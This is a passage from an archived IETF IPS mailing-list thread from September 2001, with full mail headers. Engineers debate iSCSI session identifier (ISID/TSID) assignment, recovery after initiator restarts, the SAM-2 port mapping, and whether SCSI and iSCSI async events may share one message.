> > > > > > > This is where I think we have a problem, if HBA 1 > isn't trying to > > recover because it has had an uncontrolled restart it > too will send a > > TSID of 0. How then can the target know whether it > should clean the > > old session to HBA 1, or open a new session to HBA 2. > IP address? > > > > I fear I am missing something. > > > > > Thanks, > > > --David > > > --------------------------------------------------- > > > David L. Black, Senior Technologist > > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > > black_david@emc.com Mobile: +1 (978) 394-7754 > > > --------------------------------------------------- > > > > > > > -----Original Message----- > > > > From: Rod Harrison [mailto:rod.harrison@windriver.com] > > > > Sent: Friday, September 07, 2001 5:34 AM > > > > To: Black_David@emc.com; ips@ece.cmu.edu > > > > Subject: RE: iSCSI: ISIDs > > > > > > > > > > > > > > > > I don't see how having the target assign the ISID, > > > and effectively > > > > the whole SSID helps with the original problem of > > > recovery from an > > > > uncontrolled restart. In fact, I think it makes > it worse. > > > > > > > > Without and initiator assigned ISID the target is > > > > presented with no > > > > information with which to distinguish HBAs in a host. > > > Assuming that > > > > HBA 1 has an existing session, how can the target tell > > > the difference > > > > between HBA 2 sending a leading login with the intent > > > of starting a > > > > new session, and HBA 1 sending a leading login after > > > an uncontrolled > > > > restart? > > > > > > > > - Rod > > > > > > > > -----Original Message----- > > > > From: owner-ips@ece.cmu.edu > > > [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > > > Black_David@emc.com > > > > Sent: Thursday, September 06, 2001 10:40 PM > > > > To: ips@ece.cmu.edu > > > > Subject: iSCSI: ISIDs > > > > > > > > > > > > Time to back up and regroup on this topic. It's clear > > > that ISID > > > > management needs more attention, and hence there are > > > some issues > > > > more basic than the attempted consensus call to > work out. So, > > > > I'm going to abandon the attempted consensus > call, and try to > > > > make progress on the underlying ISID issue. > Those whose posts > > > > have called ISID management into question > should not feel it > > > > necessary to apologize - this is an important issue to > > > unscramble. > > > > > > > > A rough summary of where we find ourselves is: > > > > - iSCSI Initiator Names span network > interfaces/adapters, > > > > as do iSCSI Target Names. > > > > - Multiple sessions are allowed between an > iSCSI Initiator > > > > and Target. These are identified by an ISID and a > > > > TSID. > > > > - The ISID is the Initiator portion of the > Session identifier > > > > and is used to track certain resources associated with > > > > the session (e.g., persistent reserves). > > > > - The TSID is the Target portion of the Session > identifier, > > > > and serves primarily to make sure that all session > > > > identifiers (SSID = ISID||TSID) are unique at the > > > > Target. > > > > > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > > > > > ISID - initiator-defined session-identifier > > > > > > > > > > Since initiators don't know about other initiators > > > connected to this > > > > target, > > > > > this has the potential of causing problems. > > > Eliminate it. The > > > > initiator > > > > > should simply state it's intentions of establishing > > > a new session or > > > > adding > > > > > a connection to an existing session (via > binary flags). > > > > > > > > The implication of this would be to make SSID = TSID, > > > dynamically > > > > assigned by the Target (0 is a reserved value on Login > > > asking Target > > > > to do this assignment), and partitioned > appropriately across > > > > interfaces. > > > > Recoverable session resources would be associated with > > > the combination > > > > of at the iSCSI Target, > > > and the initiator > > > > tracks via - in both cases > > > the TSID replaces > > > > the ISID. From a functional standpoint, this looks > > > like it works, > > > > and has the nice additional property that session > > > resources can be > > > > recovered through any iSCSI Initiator interface vs. > > > having to go back > > > > to the one that's allowed to use the ISID for that > > > session if ISIDs > > > > are statically partitioned. > > > > > > > > Does this cause any problems for the SAM-2 to > iSCSI mapping? > > > > > > > > Thanks, > > > > --David > > > > > > > > --------------------------------------------------- > > > > David L. Black, Senior Technologist > > > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > > > black_david@emc.com Mobile: +1 (978) 394-7754 > > > > --------------------------------------------------- > > > > > > From owner-ips@ece.cmu.edu Fri Sep 7 12:43:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19905 for ; Fri, 7 Sep 2001 12:43:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87FpTE25824 for ips-outgoing; Fri, 7 Sep 2001 11:51:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87FpRP25820 for ; Fri, 7 Sep 2001 11:51:28 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id RAA67890 for ; Fri, 7 Sep 2001 17:51:17 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87FpG810614 for ; Fri, 7 Sep 2001 17:51:16 +0200 Importance: Normal Subject: Re: iSCSI: Async events - SCSI and iSCSI To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 7 Sep 2001 18:50:32 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 07/09/2001 18:51:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mark, As far as I recall it is not by chance. When we decided to go for a clear separation of SCSI and iSCSI events I saw no reason why a target will not want to send both, if it had them, in one message. Is there something I am missing? Obviously this runs against your later request for text async messages. Julo Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 Please respond to Mark Bakke Sent by: owner-ips@ece.cmu.edu To: IPS cc: Subject: iSCSI: Async events - SCSI and iSCSI Julian- I was looking at Async Message some more, and noticed that there is nothing to stop a target from sending a message that includes both iSCSI and SCSI events, since each of these are communicated with a different set of fields. I would guess that this is not what is intended, and that the target ought to send one or the other. Can we add some text to say: A target may send this message as either a SCSI Event or an iSCSI Event, but not both. Either the SCSI Event or iSCSI Event field MUST be zero. -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Fri Sep 7 12:43:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19918 for ; Fri, 7 Sep 2001 12:43:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Fkjs25505 for ips-outgoing; Fri, 7 Sep 2001 11:46:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87FkfP25500 for ; Fri, 7 Sep 2001 11:46:41 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA99956 for ; Fri, 7 Sep 2001 11:44:24 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87Fkdb98518 for ; Fri, 7 Sep 2001 09:46:39 -0600 Importance: Normal Subject: Re: iSCSI: ISIDs To: ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 7 Sep 2001 08:46:35 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 08:46:38 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, I've been mulling over your question concerning how Michael's proposal (which I read as removing the ISID from the SSID and leaving it up to the target to assign the SSID) affects the SAM-2 mapping. I don't have a good answer. So, I'm going to brain dump here. We have (so far) relied on the ISID (along with the iSCSI Name) for the SCSI Initiator Port name (and identifier) and relied on the "iSCSI initiator endpoint of the session" for the SCSI Initiator Port. The ISID RULE (no reuse of ISID to a given target portal group -- and whose enforcement rule we've been debating) was intended to prevent parallel nexus from being created. If we abandon any notion of the initiator providing the ISID then we've somehow lost our handle on what constitutes the SCSI Initiator Port. We effectively have to go back to square one to sort out the initiator side of the model mapping. I think we all pretty much agree that the iSCSI Node and the SCSI Device are intimately bound together. Our choice for SCSI Initiator Port come down to three possibilities (as they always have): a) view all iSCSI-type SCSI Initiator Devices as being single (SCSI) -ported. Then the SCSI Initiator Port can be identified by the iSCSI Name. There are similarities between this and a single ported FC HBA. Our problem is then the parallel nexus issue. We need a rule that says that we can't have more than one session between a given iSCSI Initiator and iSCSI Target Portal Group; and we need to define the target's response to a second such login. In effect, we've doubled our problems. We have limited our connectivity possibilities between a given iSCSI Initiator (max sessions = number of target portal groups) and we still have a 'rejection' rule to decide (option A or option B). b) use the model we have for the target; namely, map the iSCSI Initiator Portal Group to a SCSI Initiator Port. With this, we get a SCSI Initiator Port name equal to the iSCSI Name + portal group tag. So far so good. But we are limited to one session per (initiator portal group, target portal group tag). This has similarities to a multi-HBA FC host. We again limit (to a lesser extent) our connectivity possibilities: max sessions = (number of initiator portal groups x number of target port groups). [In spite of the simplicity of this model which is independent of session identifiers, I didn't pick this because people felt that there was a legitimate reason to build multiple sessions between two portal groups (e.g., in the case where both initiator and target have only one HBA (so one portal group) and the target doesn't support more than one connection per session, I may want to build multiple sessions for extra parallelism, etc.).] c) use the model we now use (SCSI Initiator Port = initiator end of session) but find something other than the ISID to define the SCSI Port Name. The only choice seems to be the SSID (=TSID). This might work more or less as David outlined. It's a little odd, however, that the target is now *assigning* an identifier/name to the SCSI Initiator Port; that is, the SCSI Initiator Port doesn't have a name 'all to itself', but only in the context of a target. The mind sort of boggles with this (and it certain stretches the credibility of the SAM-2 model of SCSI Initiator Port, Port Name and Port Identifier). We could instead pick for the SCSI Initiator Port Name/identifier the union of the ipaddresses:tcpports of all the connections involved in that session, but I don't think that really gains us anything. In short, I don't know what approach to take here. We are effectively being constrained by SAM-2's model. We've already stretched that model a lot by what's currently in the draft. Summarizing above, we can either limit our functionality (fewer sessions) or stretch the model further by having the target assign names to SCSI Initiator Ports. It's not a good place to be. Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISIDs Time to back up and regroup on this topic. It's clear that ISID management needs more attention, and hence there are some issues more basic than the attempted consensus call to work out. So, I'm going to abandon the attempted consensus call, and try to make progress on the underlying ISID issue. Those whose posts have called ISID management into question should not feel it necessary to apologize - this is an important issue to unscramble. A rough summary of where we find ourselves is: - iSCSI Initiator Names span network interfaces/adapters, as do iSCSI Target Names. - Multiple sessions are allowed between an iSCSI Initiator and Target. These are identified by an ISID and a TSID. - The ISID is the Initiator portion of the Session identifier and is used to track certain resources associated with the session (e.g., persistent reserves). - The TSID is the Target portion of the Session identifier, and serves primarily to make sure that all session identifiers (SSID = ISID||TSID) are unique at the Target. Michael Schoberg suggest getting rid of the ISID: > ISID - initiator-defined session-identifier > > Since initiators don't know about other initiators connected to this target, > this has the potential of causing problems. Eliminate it. The initiator > should simply state it's intentions of establishing a new session or adding > a connection to an existing session (via binary flags). The implication of this would be to make SSID = TSID, dynamically assigned by the Target (0 is a reserved value on Login asking Target to do this assignment), and partitioned appropriately across interfaces. Recoverable session resources would be associated with the combination of at the iSCSI Target, and the initiator tracks via - in both cases the TSID replaces the ISID. From a functional standpoint, this looks like it works, and has the nice additional property that session resources can be recovered through any iSCSI Initiator interface vs. having to go back to the one that's allowed to use the ISID for that session if ISIDs are statically partitioned. Does this cause any problems for the SAM-2 to iSCSI mapping? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 12:49:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20120 for ; Fri, 7 Sep 2001 12:49:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87FODp23786 for ips-outgoing; Fri, 7 Sep 2001 11:24:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87FOAP23778 for ; Fri, 7 Sep 2001 11:24:10 -0400 (EDT) Received: from phys-ha0nwka.ebay.sun.com ([129.149.1.90]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA03735 for ; Fri, 7 Sep 2001 09:24:06 -0600 (MDT) Received: from sonnet (sonnet [129.149.161.67]) by phys-ha0nwka.ebay.sun.com (8.10.2+Sun/8.10.2/ENSMAIL,v2.1p1) with SMTP id f87FGcY18902 for ; Fri, 7 Sep 2001 08:16:38 -0700 (PDT) Message-Id: <200109071516.f87FGcY18902@phys-ha0nwka.ebay.sun.com> Date: Fri, 7 Sep 2001 08:16:40 -0700 (PDT) From: JP Raghavendra Rao Reply-To: JP Raghavendra Rao Subject: RE: iSCSI: ISIDs To: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: /X9e0rfo7J8Px858k5bz7Q== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.3.2 SunOS 5.7 sun4u sparc Sender: owner-ips@ece.cmu.edu Precedence: bulk I guess I screwed up what I wanted to say in my previous posting. I was trying to compare ISID assignment problem with "session management" with regard to the need for an independent, OS level management entity. We need an in-kernel "session manager" to manage sessions spanning interfaces/adapters. And why can not a similar manager (call it "isid manager") exist if an interface/adapter is to share Initiator name ? I understand that not all operating systems would ship with these OS level "resource managers" in the nearest possible future - what this means is that you can not share Initiator Name if no such "isid manager" exists at the OS level. Isn't the same true for "session manager" ? -JP > > > If an interface/adapter is sharing Initiator Name with other > > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > > level "session manager" (in the OS) to manage various things > > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > > understand why ISID assignment can not be managed by the > > same "session manager". > > That's not exactly true. There are two sorts of coordination that > can be necessary if an Initiator Name spans interfaces/adapters: > > (1) Task Tags, Sequence Numbers, ExpStatSN, etc. WHEN an individual > session spans interfaces/adapters. The set of spannable > interfaces/adapters is called a "portal group". > (2) ISID assignment to different sessions in the same or different > portal groups. > > > How is ISID assignment a unique problem > > compared to the rest of various shared session level parameters ? > > Because ISID assignment is a separate problem. One still has to > coordinate ISID assignment across interfaces/adapters even if > *every* session has exactly one connection and hence can't span > interfaces/adapters. > > > If an interface has a unique Initiator Name, it can assign > > an ISID of its own. > > Right, but if every interface is its own portal group underneath > the same Initiator Name (i.e., sessions don't span interfaces, > but the iSCSI Initiator does), ISID assignment still has to be > coordinated across interfaces/adapters even though there's no > "session manager" needed across interfaces/adapters. > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > -----Original Message----- > > From: JP Raghavendra Rao [mailto:Jp.Raghavendra@sun.com] > > Sent: Friday, September 07, 2001 10:32 AM > > To: ips@ece.cmu.edu > > Subject: Re: iSCSI: ISIDs > > > > > > > > If an interface/adapter is sharing Initiator Name with other > > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > > level "session manager" (in the OS) to manage various things > > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > > understand why ISID assignment can not be managed by the > > same "session manager". How is ISID assignment a unique problem > > compared to the rest of various shared session level parameters ? > > > > If an interface has a unique Initiator Name, it can assign > > an ISID of its own. > > > > -JP > > > > > > > > Time to back up and regroup on this topic. It's clear that ISID > > > management needs more attention, and hence there are some issues > > > more basic than the attempted consensus call to work out. So, > > > I'm going to abandon the attempted consensus call, and try to > > > make progress on the underlying ISID issue. Those whose posts > > > have called ISID management into question should not feel it > > > necessary to apologize - this is an important issue to unscramble. > > > > > > A rough summary of where we find ourselves is: > > > - iSCSI Initiator Names span network interfaces/adapters, > > > as do iSCSI Target Names. > > > - Multiple sessions are allowed between an iSCSI Initiator > > > and Target. These are identified by an ISID and a > > > TSID. > > > - The ISID is the Initiator portion of the Session identifier > > > and is used to track certain resources associated with > > > the session (e.g., persistent reserves). > > > - The TSID is the Target portion of the Session identifier, > > > and serves primarily to make sure that all session > > > identifiers (SSID = ISID||TSID) are unique at the > > > Target. > > > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > > > ISID - initiator-defined session-identifier > > > > > > > > Since initiators don't know about other initiators > > connected to this > > > target, > > > > this has the potential of causing problems. Eliminate it. The > > initiator > > > > should simply state it's intentions of establishing a new > > session or > > > adding > > > > a connection to an existing session (via binary flags). > > > > > > The implication of this would be to make SSID = TSID, dynamically > > > assigned by the Target (0 is a reserved value on Login asking Target > > > to do this assignment), and partitioned appropriately > > across interfaces. > > > Recoverable session resources would be associated with the > > combination > > > of at the iSCSI Target, and > > the initiator > > > tracks via - in both cases the > > TSID replaces > > > the ISID. From a functional standpoint, this looks like it works, > > > and has the nice additional property that session resources can be > > > recovered through any iSCSI Initiator interface vs. having > > to go back > > > to the one that's allowed to use the ISID for that session if ISIDs > > > are statically partitioned. > > > > > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > > > > > Thanks, > > > --David > > > > > > --------------------------------------------------- > > > David L. Black, Senior Technologist > > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > > black_david@emc.com Mobile: +1 (978) 394-7754 > > > --------------------------------------------------- > > > > From owner-ips@ece.cmu.edu Fri Sep 7 12:59:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20441 for ; Fri, 7 Sep 2001 12:59:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87FoSc25756 for ips-outgoing; Fri, 7 Sep 2001 11:50:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87FoLP25745 for ; Fri, 7 Sep 2001 11:50:22 -0400 (EDT) Received: from eddylaptop (user-vc8ftn2.biz.mindspring.com [216.135.246.226]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNJBA; Fri, 7 Sep 2001 11:50:06 -0400 Reply-To: From: "Eddy Quicksall" To: , Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 11:50:04 -0400 Message-ID: <001801c137b4$c390eb20$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3B981A71.EB07891@rose.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Millikarjun, If, after a crash, the initiator does not have any state information, how will it know the ISID? Regarding the TSID, if we design this use for it, that will enforce the need for the target to make it useful ... see, it would be up to the target as to if it is unique or if it is unique only within this initiator. Also, the TSID should be 32 bits. That would allow the target to more easily provide uniqueness. Eddy -----Original Message----- From: Mallikarjun C. [mailto:cbm@rose.hp.com] Sent: Thursday, September 06, 2001 8:53 PM To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call Eddy, Two comments - - In a reboot-after-a-crash scenario (one case where the implicit session logout - aka option A - would be useful), initiator may not have any old session state including the TSID. - Current formulation is that TSIDs are not really guaranteed to be unique per initiator, nor even among multiple sessions with the same initiator (if each is to a different target portal group). Hope that helps. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Eddy Quicksall wrote: > > I got a bit lost here but I think the purpose is to reset a session. > Wouldn't it make it easier if we use the TSID instead of the ISID. Since the > target controls that and can issue a unique TSID to every initiator, it > could more easily do its job. > > Am I missing something? > > Eddy > From owner-ips@ece.cmu.edu Fri Sep 7 13:07:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20721 for ; Fri, 7 Sep 2001 13:07:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Fd4C24916 for ips-outgoing; Fri, 7 Sep 2001 11:39:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87FcxP24910 for ; Fri, 7 Sep 2001 11:39:01 -0400 (EDT) Received: from eddylaptop (user-vc8ftn2.biz.mindspring.com [216.135.246.226]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNJA5; Fri, 7 Sep 2001 11:38:51 -0400 Reply-To: From: "Eddy Quicksall" To: "'Martin, Nick'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 11:38:47 -0400 Message-ID: <001701c137b3$3262e460$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <31891B757C09184BBFEC5275F85D5595104DC2@cceexc18.americas.cpqcorp.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Isn't the topic how to reset a session? If so, I think this is still within the topic. I had put in a suggestion that we use the TSID but I have not seen a response yet. This is consistent with what you are saying below. Can we work on that for a bit and see if that solves at least the reset dilemma? Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@compaq.com] Sent: Thursday, September 06, 2001 4:33 PM To: ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Santosh, If an iSCSI HBA driver is going to live within the SCSI subsystems in today's operating systems, it will be told almost nothing about the host through those interfaces. When the driver initializes, it is likely to be told only the PCI addresses of its adapter(s). It is provided interfaces only to expose its SCSI request, ioctl request, and hardware interrupt service routines. It will not get the host name, or an IP address via interfaces in the SCSI subsystem. Interfaces to collect information such as IP address, and host name which are available to network drivers, are not available to many storage drivers. These and anything else needed will have to be collected from other interfaces. Some OS environments will provide a way for the SCSI driver to initiate queries for this information, some will allow static pre-configuration, others will need to wait for something to poke the information in through custom ioctl interfaces, or retrieve or construct what is needed from non-volatile storage on the HBA card. This is partly a chicken and egg problem. The host name for example is normally retrieved from the system disk which can not be read until the storage driver has completed its initialization. If the boot storage controller could ask the OS for the host name, it would not get a good answer. Operating systems will eventually comprehend the need for driver APIs for iSCSI which blend network and storage requirements, but initial implementations will be entirely supplied by the HBA or driver vendor. IMHO, if a driver can initialize (bootstrap) without information from other sources, you make life much easier for the driver writers, testers, and users. If all iSCSI drivers operating within the same host need to agree on something which is not available through a pre-existing interface, there will be problems. If the administrator has to manually set the same InitiatorName (and/or AccessID) for each iSCSI driver, that is one thing. If he has to manually set non-overlapping ranges of ISIDs for each driver instance that will be more error prone. The suggestion by Michael Schoberg to eliminate initiator assigned ISID, and only use TSID which is already guaranteed to be unique makes sense to me. As Michael noted, we are a bit off of the consensus topic. Thanks, Nick -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 06, 2001 1:57 PM To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call "Martin, Nick" wrote: > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. In the above scenario, if the HBAs do not have an interface to receive a range of ISIDs from the OS iscsi driver, then, they must also lack an interface to be handed down an iscsi initiator node name from the OS driver. Without using a common iscsi initiator node name, the ISID issue does not arise for multiple HBAs. [since each would be using its own iscsi name]. OTOH, if the HBAs have an interface to be handed down an iscsi initiator node name from the OS driver, there's no reason for them to not provide an interface to be handed down an ISID or a range of ISIDs for their use. I am in favor of option (A) since it is the simplest and a well designed HBA should be providing interfaces for the OS driver to assign the HBA an iscsi initiator node name as well as a range of ISIDs, thus, rendering Nick's scenario unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use an "already > owned" ISID failed, and HBA would need to a) "probe" for a new available > ISID or b) fail the request to establish the session. Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. If the tools were not available, how does the 2nd HBA get assigned the same iscsi initiator node name as the first ? The ISID issue is only applicable if both HBAs are sharing the same iscsi initiator node name. I would like to understand the rationale behind an HBA interface allowing an initiator node name to be assigned, but not an ISID or a range of ISIDs (?). Regards, Santosh From owner-ips@ece.cmu.edu Fri Sep 7 13:10:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20834 for ; Fri, 7 Sep 2001 13:10:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87G2Fi26617 for ips-outgoing; Fri, 7 Sep 2001 12:02:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87G2DP26613 for ; Fri, 7 Sep 2001 12:02:13 -0400 (EDT) Received: from cisco.com (58509@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id MAA05209; Fri, 7 Sep 2001 12:02:01 -0400 (EDT) Message-ID: <3B98EDAE.47D8EE8C@cisco.com> Date: Fri, 07 Sep 2001 10:54:22 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI: Async events - SCSI and iSCSI References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- I'd like to see them separate for two reasons: - iSCSI and SCSI-level events are typically orthogonal, so they probably won't usually end up being combined anyway. It would be simpler for both the target and the initiator to not attempt to combine them. - Since the SCSI-level events use the data portion of the message for sense data, that leave iSCSI events without any way to send data of their own if there is a possibility of combining the two. By keeping them separate, iSCSI could use the data portion for text keys. In fact, Parameters 1, 2, and 3 might have been easier to describe had they been communicated using text keys; the processing of async messages is not a performance-critical thing anyway. That's about it. A target could send both in one message, but since the desire to do this is probably an end case (a small percentage of async messages might combine both), there's no reason why we can't just have the target send two messages, and we end up with a simpler, and for iSCSI events, more flexible, implementation for both the initiator and target. Anyway, I think that if we are going for a clear separation between SCSI and iSCSI events, that it's even clearer if they are always sent in separate messages. Thanks, Mark Julian Satran wrote: > > Mark, > > As far as I recall it is not by chance. When we decided to go for a clear > separation of SCSI and iSCSI events > I saw no reason why a target will not want to send both, if it had them, in > one message. > Is there something I am missing? Obviously this runs against your later > request for text async messages. > > Julo > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > To: IPS > cc: > Subject: iSCSI: Async events - SCSI and iSCSI > > Julian- > > I was looking at Async Message some more, and noticed that there > is nothing to stop a target from sending a message that includes > both iSCSI and SCSI events, since each of these are communicated > with a different set of fields. I would guess that this is not > what is intended, and that the target ought to send one or the other. > > Can we add some text to say: > > A target may send this message as either a SCSI Event or an > iSCSI Event, but not both. Either the SCSI Event or iSCSI > Event field MUST be zero. > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Fri Sep 7 13:14:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20941 for ; Fri, 7 Sep 2001 13:14:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87GDCU27336 for ips-outgoing; Fri, 7 Sep 2001 